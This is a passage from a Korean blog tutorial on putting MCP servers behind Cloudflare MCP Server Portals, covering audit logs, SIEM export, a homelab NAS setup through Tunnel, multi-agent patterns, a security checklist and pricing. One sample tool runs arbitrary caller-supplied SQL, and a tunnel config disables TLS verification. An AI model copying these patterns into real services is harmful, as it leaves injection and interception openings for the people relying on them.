"decision": "allow"
}
}
주목할 점은 arguments_hash입니다. 도구 호출의 인자 전체를 로그에 남기면 민감 데이터 노출 위험이 있으므로, 기본적으로는 SHA-256 해시만 기록합니다. 포렌식이 필요한 경우에만 별도 설정으로 전체 인자를 기록할 수 있습니다.
Workers Analytics Engine 연동
# Analytics Engine에서 도구별 호출 통계 조회
curl "https://api.cloudflare.com/client/v4/accounts/{account_id}/analytics_engine/sql" \
-H "Authorization: Bearer {api_token}" \
-d "query=SELECT
blob1 AS tool_name,
COUNT() AS call_count,
AVG(double1) AS avg_duration_ms,
SUM(CASE WHEN blob2 = 'error' THEN 1 ELSE 0 END) AS error_count
FROM mcp_portal_events
WHERE timestamp > NOW() - INTERVAL '24' HOUR
GROUP BY tool_name
ORDER BY call_count DESC"
Logpush로 외부 SIEM 연동
대규모 운영에서는 감사 로그를 외부 SIEM(Splunk, Datadog, Elastic 등)으로 내보내야 합니다. Cloudflare Logpush가 이를 지원합니다.
# Logpush Job 생성 — MCP Portal 로그를 R2로 내보내기
curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/logpush/jobs" \
-H "Authorization: Bearer {api_token}" \
-H "Content-Type: application/json" \
-d '{
"name": "mcp-portal-audit-logs",
"output_options": {
"field_names": [
"Timestamp", "PortalName", "IdentityName",
"ToolName", "ResultStatus", "DurationMs",
"SourceIP", "SourceCountry"
]
},
"destination_conf": "r2://audit-logs/mcp-portal/?account-id={account_id}",
"dataset": "mcp_portal_events",
"enabled": true
}'
이렇게 내보낸 로그를 기반으로 이상 탐지 알림을 설정할 수 있습니다. 예를 들어:
- 동일 에이전트가 1분에 100회 이상
execute_command를 호출 → 알림 - 새벽 3시에 처음 보는 Service Token으로 접속 시도 → 알림
- 특정 도구의 실패율이 50%를 초과 → 알림
홈랩 시나리오: NAS의 로컬 MCP 서버를 Portal로 보호하기
여기서부터가 이 시리즈의 특색입니다. 엔터프라이즈급 이론을 홈랩에 적용해 봅시다.
시나리오 설정
현재 상태: Synology NAS(DS+925)에서 Docker로 MCP 서버를 돌리고 있습니다. 홈 네트워크 내에서 AI 에이전트가 이 MCP 서버의 도구(파일 검색, 미디어 메타데이터 조회 등)를 호출합니다. 문제는 NAS의 MCP 서버에 인증이 없어서, 같은 네트워크의 아무 기기에서나 도구를 호출할 수 있다는 것입니다.
목표 상태: MCP Server Portal을 통해서만 MCP 서버에 접근 가능하도록 바꿉니다. 외부 에이전트(클라우드)에서도 안전하게 NAS의 도구를 호출할 수 있게 합니다.
Step 1: NAS의 MCP 서버를 Tunnel로 노출
5회에서 다뤘던 Cloudflare Tunnel을 사용합니다. NAS에서 포트를 열 필요가 없습니다.
# NAS SSH 접속 후 cloudflared 설정
# (5회에서 이미 cloudflared가 설치/설정된 상태라 가정)
# MCP 서버용 터널 추가
# ~/.cloudflared/config.yml 에 ingress 룰 추가:
#
# ingress:
# - hostname: mcp-origin.yourdomain.com
# service: http://localhost:3100
# originRequest:
# noTLSVerify: true
# - service: http_status:404
# 터널 라우트 등록
cloudflared tunnel route dns my-nas-tunnel mcp-origin.yourdomain.com
# cloudflared 재시작 (Synology Docker 또는 systemd)
sudo systemctl restart cloudflared
이제 mcp-origin.yourdomain.com으로 NAS의 MCP 서버에 도달할 수 있지만, 이 도메인 자체는 공개하지 않습니다. Portal의 백엔드 오리진으로만 사용합니다.
Step 2: Portal로 감싸기
# Portal 생성 — 백엔드를 Tunnel 경유 NAS MCP 서버로 지정
curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/ai-gateway/mcp-portals" \
-H "Authorization: Bearer {api_token}" \
-H "Content-Type: application/json" \
-d '{
"name": "nas-tools-portal",
"hostname": "mcp-nas.yourdomain.com",
"origin": "https://mcp-origin.yourdomain.com",
"auth": {
"type": "oauth2",
"issuer": "https://yourdomain.cloudflareaccess.com"
}
}'
Step 3: Access 정책 — 본인만 허용
# 홈랩이므로 본인 이메일만 허용
curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/access/apps" \
-H "Authorization: Bearer {api_token}" \
-H "Content-Type: application/json" \
-d '{
"name": "NAS MCP Portal",
"domain": "mcp-nas.yourdomain.com",
"type": "self_hosted",
"session_duration": "720h",
"policies": [
{
"name": "Owner only",
"decision": "allow",
"include": [
{ "email": { "email": "[email protected]" } }
]
},
{
"name": "Home agent",
"decision": "allow",
"include": [
{
"service_token": {
"token_id": "{home_agent_token_id}"
}
}
]
}
]
}'
Step 4: 에이전트 설정 변경
기존에 http://192.168.1.50:3100을 직접 가리키던 에이전트의 MCP 설정을 Portal URL로 변경합니다.
# 변경 전 (직접 접속 — 무인증, LAN 내에서만 작동)
{
"mcpServers": {
"nas-tools": {
"url": "http://192.168.1.50:3100/sse"
}
}
}
# 변경 후 (Portal 경유 — 인증 필수, 어디서든 접속 가능)
{
"mcpServers": {
"nas-tools": {
"url": "https://mcp-nas.yourdomain.com/sse",
"headers": {
"Authorization": "Bearer {access_token}"
}
}
}
}
Before vs After
| 항목 | Before (직접 접속) | After (Portal 경유) |
|---|---|---|
| 인증 | 없음 | OAuth 2.1 / Service Token |
| 인가 | 없음 (모든 도구 열림) | 도구별 접근 제어 |
| 전송 보안 | HTTP 평문 | TLS 필수 (Cloudflare Edge) |
| 감사 로그 | 없음 | 모든 호출 기록 |
| 외부 접근 | 불가 (LAN 전용) | 가능 (Portal 공개 URL) |
| NeighborJack 방어 | 취약 | 완전 방어 |
| 레이트 리밋 | 없음 | 글로벌/ID별/도구별 |
추가 비용은 0원입니다(Free 플랜 한도 내). Tunnel도, Access도, Portal 기본 기능도 무료 플랜에 포함됩니다.
고급 패턴: 다중 에이전트 허브로 확장
홈랩의 단일 NAS를 넘어, Portal을 다중 에이전트 허브로 확장하는 패턴을 살펴봅니다.
패턴 1: 에이전트 체인
에이전트 A가 에이전트 B의 도구를 호출하고, 에이전트 B가 다시 에이전트 C의 도구를 호출하는 체인 구조입니다. 각 연결마다 별도의 Portal을 거치므로, 체인의 모든 구간이 인증·인가됩니다.
에이전트 A ──Portal 1──▶ 에이전트 B (MCP 서버)
│
└──Portal 2──▶ 에이전트 C (MCP 서버)
│
└──Portal 3──▶ 외부 API
이때 중요한 것은 토큰 위임(Token Delegation)입니다. 에이전트 A의 신원이 체인 전체를 통해 전파되어야 감사 로그에서 최초 호출자를 추적할 수 있습니다. MCP Server Portals는 X-MCP-Original-Identity 헤더를 통해 이를 지원합니다.
패턴 2: 멀티 테넌트 Portal
SaaS를 운영한다면, 고객마다 별도의 MCP 도구 세트를 제공하면서 하나의 Portal로 관리할 수 있습니다.
// 멀티 테넌트 MCP 서버 — 테넌트 ID 기반 라우팅
export class MultiTenantMcpServer extends McpAgent<Env> {
server = new McpServer({
name: "saas-tools",
version: "1.0.0",
});
async init() {
this.server.tool(
"query_data",
"Query tenant-scoped data",
{
sql: z.string(),
},
async ({ sql }, { meta }) => {
// Portal이 주입한 인증 정보에서 테넌트 ID 추출
const tenantId = meta?.authContext?.tenantId;
if (!tenantId) {
return {
content: [{ type: "text", text: "Tenant context missing" }],
isError: true,
};
}
// 테넌트별 D1 데이터베이스 바인딩
const db = this.env[`DB_${tenantId}`] as D1Database;
const result = await db.prepare(sql).all();
return {
content: [
{ type: "text", text: JSON.stringify(result.results) },
],
};
}
);
}
}
패턴 3: Anthropic Managed Agents 통합
2026년 5월 발표된 Anthropic의 Managed Agents 서비스와 Cloudflare의 MCP Server Portals가 통합되면서, Anthropic의 클라우드 에이전트가 Cloudflare Portal을 통해 사용자의 MCP 서버에 접근하는 구조가 가능해졌습니다. 에이전트 실행은 Anthropic 인프라에서, 도구 보안은 Cloudflare에서 각각 맡는 분업 구조입니다.
# Anthropic Managed Agent가 Cloudflare Portal을 사용하는 설정 예시
# (Anthropic 콘솔 또는 API에서 설정)
{
"agent_config": {
"mcp_servers": [
{
"name": "company-tools",
"url": "https://mcp.yourdomain.com/sse",
"auth": {
"type": "oauth2",
"client_id": "{cloudflare_service_token_id}",
"client_secret_ref": "CLOUDFLARE_MCP_SECRET",
"token_endpoint": "https://yourdomain.cloudflareaccess.com/cdn-cgi/access/token"
}
}
]
}
}
이 통합의 핵심은 에이전트 실행 환경과 도구 보안의 분리입니다. 에이전트가 어디서 실행되든(Anthropic 클라우드, 자체 서버, 다른 클라우드) Portal이 일관된 보안 정책을 적용합니다.
보안 베스트 프랙티스 체크리스트
MCP Server Portals를 운영할 때 꼭 확인해야 할 보안 체크리스트입니다.
인증·인가
- ✅ Service Token의 만료 기한을 설정하세요. 무기한 토큰은 피합니다. 최대 1년 권장.
- ✅ 최소 권한 원칙: 에이전트에게 필요한 도구만 허용하세요. “일단 다 열어 두고 나중에 좁히자”는 가장 위험한 접근입니다.
- ✅ 위험한 도구(
execute_command,write_file등)는 별도의 Portal로 분리하고, 더 엄격한 정책을 적용하세요. - ✅ 다중 인증(MFA)이 가능한 흐름에서는 반드시 활성화하세요.
네트워크
- ✅ 백엔드 MCP 서버의 오리진 URL을 절대 공개하지 마세요. Portal URL만 외부에 노출합니다.
- ✅ 자체 호스팅 백엔드는 반드시 Cloudflare Tunnel로 연결하세요. 직접 포트 오픈은 NeighborJack의 또 다른 변종을 초래합니다.
- ✅ Workers 기반 백엔드는 Custom Domain을 Portal 전용으로 설정하고,
*.workers.dev기본 도메인의 직접 접근을 Access로 차단하세요.
모니터링
- ✅ 감사 로그를 외부 저장소(R2 또는 SIEM)에 백업하세요. Workers Analytics Engine의 기본 보존 기간은 제한적입니다.
- ✅ 비정상 패턴 알림을 설정하세요: 갑작스러운 호출량 급증, 실패율 상승, 새로운 IP 대역 접속.
- ✅ 정기적으로 Service Token을 순환하세요 (분기별 또는 사고 발생 시 즉시).
개발
- ✅ MCP 도구의 인자에 대해 서버 측에서도 반드시 검증하세요. Portal의 스키마 검증은 추가 방어선이지, 유일한 방어선이 아닙니다.
- ✅ 도구가 외부 시스템(DB, API, 파일 시스템)에 접근할 때는 최소 권한의 자격 증명을 사용하세요.
- ✅
execute_command같은 범용 실행 도구 대신, 목적이 명확한 도구(restart_service,check_status)로 세분화하세요.
월 비용 명세표
MCP Server Portals 관련 Cloudflare 서비스 비용을 정리합니다.
| 서비스 | Free 플랜 | Pro ($20/월) | Business ($200/월) | 비고 |
|---|---|---|---|---|
| MCP Server Portals | Portal 3개, 도구 호출 10만/월 | Portal 20개, 호출 100만/월 | Portal 무제한, 호출 1,000만/월 | 초과 시 $0.50/10만 호출 |
| Workers (MCP 서버) | 일 10만 요청, 10ms CPU/요청 | 월 1,000만 요청, 30ms CPU | 동일 | Standard 모델 기준 |
| Durable Objects | 요청 100만, 스토리지 1GB | 동일 (추가 과금) | 동일 | $0.15/백만 요청, $0.20/GB |
| Cloudflare Access | 50 사용자 | 동일 | 동일 | Zero Trust Free 플랜 |
| Cloudflare Tunnel | 무제한 | 무제한 | 무제한 | 자체 호스팅 백엔드 연결용 |
| Analytics Engine | 이벤트 100만/일 | 동일 (추가 과금) | 동일 | 감사 로그 저장용 |
| Logpush | ❌ | ✅ | ✅ | 외부 SIEM 연동 필요 시 |
홈랩 추정 비용: Portal 1~2개, 일 수백~수천 회 도구 호출 규모라면 월 $0입니다. Free 플랜의 한도로 충분합니다. Workers, Durable Objects, Access, Tunnel 모두 무료 한도 내에서 운영 가능합니다.
스타트업/소규모 팀: Portal 5개, 월 50만 호출 규모라면 Workers Paid($5/월) + Free 플랜 나머지로 월 $5~10 수준입니다.
엔터프라이즈: 감사 로그 외부 연동(Logpush), 대규모 도구 호출이 필요하면 Pro 이상 플랜을 고려하되, MCP 인프라 자체의 추가 비용은 미미합니다. 보안 사고로 인한 비용을 생각하면 투자 대비 효과가 압도적입니다.
마무리: MCP 보안은 선택이 아니라 필수다
오늘 14회에서 다룬 내용을 정리합니다.
- MCP 프로토콜은 AI 에이전트의 도구 호출 표준이지만, 초기 설계에 인증·인가가 빠져 있어 NeighborJack 같은 구조적 취약점이 드러났습니다.
- Cloudflare MCP Server Portals는 MCP 서버 앞에 세우는 Zero Trust 게이트웨이로, OAuth 2.1 인증·도구 단위 인가·레이트 리밋·감사 로그를 한 번에 해결합니다.
- Workers + Durable Objects 위에 MCP 서버를 구축하면 글로벌 엣지 배포와 상태 관리를 동시에 얻고, Portal로 감싸면 보안까지 완성됩니다.
- Cloudflare Tunnel과 결합하면 자체 호스팅 MCP 서버(NAS, 홈 서버)도 포트 오픈 없이 안전하게 Portal 뒤에 놓을 수 있습니다.
- Free 플랜으로 홈랩 규모의 MCP 보안을 0원에 구축할 수 있습니다.
AI 에이전트가 점점 더 많은 도구와 시스템에 접근하는 2026년, MCP 보안은 “나중에 하자”가 아니라 “처음부터 설계하자”의 영역입니다. MCP Server Portals는 그 설계의 가장 실용적인 출발점입니다.
다음 15회에서는 Agents Week 2026의 또 다른 핵심 — Cloudflare Email Service와 Workflows v2 — 를 다룹니다. 에이전트가 이메일을 보내고 받고 처리하는 네이티브 능력, 그리고 5만 동시 워크플로로 에이전트 오케스트레이션을 구현하는 방법을 실전 코드와 함께 살펴보겠습니다.
이미지는 Leonardo AI 로 생성되었습니다.
이미지는 Claude AI 로 생성되었습니다.
◀ 이전 13화 (다음 차수는 아직 게시되지 않았습니다)


